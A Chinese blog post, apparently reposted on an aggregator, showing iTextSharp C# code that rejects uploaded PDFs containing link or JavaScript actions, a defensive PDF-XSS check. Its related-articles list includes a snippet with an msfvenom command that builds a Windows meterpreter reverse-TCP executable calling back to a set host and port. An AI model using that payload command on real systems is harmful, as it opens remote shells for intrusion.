.net # 检查 带有pdf xss

news2024/9/22 13:35:01

1.解决pdf含javasprct脚本动作,这里是验证pdf内部事件。相关pdf文件下载:
测试pdf文件

在这里插入图片描述
相关包 iTextSharp 5.5.13.4
iTextSharp

using iTextSharp.text.pdf;
using iTextSharp.text.pdf.parser;

     private Boolean IsPdfSafe(Stream stream)
        {
            //  PdfReader reader = new PdfReader(stream);
            using (PdfReader reader = new PdfReader(stream))
            {

                for (int i = 1; i <= reader.NumberOfPages; i++)
                {
                    PdfDictionary pageDic = reader.GetPageN(i);
                    PdfObject obj = PdfReader.GetPdfObject(pageDic.Get(PdfName.ANNOTS));
                    if (obj == null || !obj.IsArray())
                        continue;

                    PdfArray annots = (PdfArray)obj;
                    for (int j = 0; j < annots.Size; j++)
                    {
                        PdfDictionary annot = annots.GetAsDict(j);
                        PdfName subtype = annot.GetAsName(PdfName.SUBTYPE);
                        if (PdfName.LINK.Equals(subtype))
                        {
                            PdfDictionary actionDict = annot.GetAsDict(PdfName.A);
                            if (actionDict != null)
                            {
                                PdfObject action = actionDict.Get(PdfName.S);
                                if (action != null)
                                {
                                	//可以判断具体哪些事件被拦截,目前已知事件GOTO,URI(连接跳转)
                                    Console.WriteLine("Action found: " + action.ToString());
                                    return false;
                                }
                            }
                        }
                    }
                }
            }

            return true;
        }

//应用的地方 写入缓存比较好,因为是非报错判断成功后可进行保存

   using (MemoryStream memoryStream = new MemoryStream(buffer))
                {
                    if (!IsPdfSafe(memoryStream))
                    {
                      //TODO 返回错误信息

                    }
                }
以上就是判断脚本的相关代码。

2.下面介绍一下读取pdf内容的脚本内容,仅做参考。

 for (int i = 1; i <= reader.NumberOfPages; i++)
            {
                PdfDictionary pageDict = reader.GetPageN(i);
                PdfDictionary resourcesDict = pageDict.GetAsDict(PdfName.RESOURCES);
           //     PdfDictionary ACTION = resourcesDict.GetAsDict(PdfName.ACTION);
          //      PdfDictionary actionDict = javascriptDict.GetAsDict(PdfName.JAVASCRIPT);
                if (resourcesDict != null)
                {
                    PdfDictionary javascriptDict = resourcesDict.GetAsDict(PdfName.JS);

                    if (javascriptDict != null)
                    {
                        PdfDictionary actionDict = javascriptDict.GetAsDict(PdfName.JAVASCRIPT);

                        if (actionDict != null)
                        {
                            return false;
                        }
                    }
                }
            }

除了上面的iTextSharp ,还有itext7也是做pdf相关处理的。iTextSharp 已经停止更新两年了,如果要开发建议用itext7,上述代码进攻参考,因为版本不一样,调用接口也会不一样,开发时候请查相关api具体内容。

代码地址:https://github.com/itext/itextsharp
api地址:https://api.itextpdf.com/iText/dotnet/

3.如何制作带脚本pdf ,请参考下面博文。
https://blog.csdn.net/weixin_50464560/article/details/123841755?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522172259109316800188565451%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=172259109316800188565451&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-5-123841755-null-null.nonecase&utm_term=pdf%20xss&spm=1018.2226.3001.4450

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972342.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

PyTorch+PyG实现图神经网络经典模型目录

前言 大家好&#xff0c;我是阿光。 本专栏整理了《图神经网络代码实战》&#xff0c;内包含了不同图神经网络的相关代码实现&#xff08;PyG以及自实现&#xff09;&#xff0c;理论与实践相结合&#xff0c;如GCN、GAT、GraphSAGE等经典图网络&#xff0c;每一个代码实例都…

洛谷 P1739 表达式括号匹配 题解

题目描述 假设一个表达式有英文字母&#xff08;小写&#xff09;、运算符&#xff08;、-、*、/&#xff09;和左右小&#xff08;圆&#xff09;括号构成&#xff0c;以 作为表达式的结束符。请编写一个程序检查表达式中的左右圆括号是否匹配&#xff0c;若匹配&#xff0c…

springboot农产品报价系统-计算机毕业设计源码37300

摘 要 本研究基于鸿蒙系统&#xff0c;设计开发了一款农产品报价系统小程序&#xff0c;旨在帮助商家与买家更便捷、高效地进行交易。该系统利用鸿蒙系统的优势&#xff0c;实现了跨平台应用程序的开发&#xff0c;同时利用定位技术和数据采集技术&#xff0c;为用户提供了个性…

RoboCom 2021 编程技能赛决赛 7-4 猛犸不上 Ban

7-4 猛犸不上 Ban 赛题 分数 30 作者 DAI, Longao 单位 杭州百腾教育科技有限公司 在一个名叫刀塔的国家里&#xff0c;有一只猛犸正在到处跑着&#xff0c;希望能够用它的长角抛物技能来撞飞别人。已知刀塔国有 N 座城市&#xff0c;城市之间由 M 条道路互相连接&#xff…

【C语言】【数据结构】冒泡排序及优化

一、算法思想 冒泡排序是一种简单的排序算法。一次从前往后地走访待排序的元素序列被称为一趟&#xff0c;每一趟都会把相邻的两个元素的错误顺序交换&#xff0c;将当前趟次中最大或者最小的元素像“冒泡泡”一样冒到最后面&#xff0c;反复地走访元素序列&#xff0c;直到所有…

Maven 安装-从下载、安装、配置以及检查是否安装成功,最详细安装教程

以下内容参考&#xff1a;https://juejin.cn/post/6844903543711907848 原文标题&#xff1a;Maven入门&#xff0c;读完这篇就够了 作者&#xff1a;嘟嘟MD 链接&#xff1a;https://juejin.cn/post/6844903543711907848 来源&#xff1a;稀土掘金 ----- 注&#xff1a;所有流…

计算机组成原理——运算器ALU,移位操作

一、组合逻辑电路和时序逻辑电路 组合逻辑电路&#xff1a;其输出仅取决于当前输入组合&#xff0c;不依赖先前输出&#xff0c;不具备存储状态的能力 时序逻辑电路&#xff1a;其输出不仅取决于当前输入&#xff0c;还取决于先前的输出&#xff0c;具备存储状态的能力。 AL…

多 NodeJS 环境管理

前言 对于某个项目依赖特定版本的 NodeJS&#xff0c;或几个项目的 NodeJS 版本冲突时&#xff0c;需要在系统中安装多个版本的 NodeJS&#xff0c;这时可以使用一些工具来进行多个 NodeJS 的管理。 有很多类似的 NodeJS 管理工具&#xff0c;如 nvm, nvs, n 等&#xff0c;接…

【Unity】 HTFramework框架(五十四)【进阶篇】Deployment 轻量级资源部署管线

更新日期&#xff1a;2024年7月31日。 Github源码&#xff1a;[点我获取源码] 索引 Deployment 轻量级资源部署管线使用 Deployment一、创建部署配置二、编辑部署配置三、正式开始资源部署步骤一&#xff1a;资源打包步骤二&#xff1a;资源版本构建步骤三&#xff1a;资源版本…

学习C语言第19天(练习题)

编程题 第一题 改数字 //改数字 int gaishuzi(int * input) {int sum 0;int i 0;while (*input){int bit* input% 10;if (bit % 2 1){sum 1 * pow(10, i);i;}else{sum 0* pow(10, i);i;}*input / 10;}return sum; } int main() {int input 0;scanf("%d&quo…

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展&#xff0c;我国面临着日益严重的大气污染问题。近年来&#xff0c;严重的大气污染问题已经明显影响国计民生&#xff0c;引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果&#xff0c;同时气象因…

嵌入式day17

尾插&#xff1a; 头删&#xff1a; 尾删&#xff1a; 双向链表&#xff1a; 循环链表&#xff1a; 内存泄漏&#xff08;malloc 调用的节点需要手动清除&#xff09; 清除&#xff1a; 头删效率更高&#xff0c;算法复杂度更低 共用体 共用体的成员&#xff0c;会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器&#xff0c;最高可运行在24MHz&#xff0c;内置32K/64K字节的嵌入式Flash&#xff0c;4K字节的SRAM&#xff0c;集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式&#xff1a;适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法&#xff0c;在⼯作中&#xff0c; 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后&#xff0c; 要对需求进⾏分析和验证&#xff0c;从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前&#xff0c;大家保存数据要么是在程序运行期间&#xff0c;例如&#xff1a;在学习编程语言的时候&#xff0c;大家写过的管理系统&#xff0c;运用一些简单的数据结构&#xff08;例如顺序表&#xff09;来组织数据&#xff0c;可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的&#xff0c;是真实的技术吗&#xff1f; 图片来源&#xff1a;论文《PULSE&#xff1a;Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列&#xff0c;感兴趣的朋友可以添加关注&#xff0c;欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol&#xff0c;翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议&#xff0c;它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…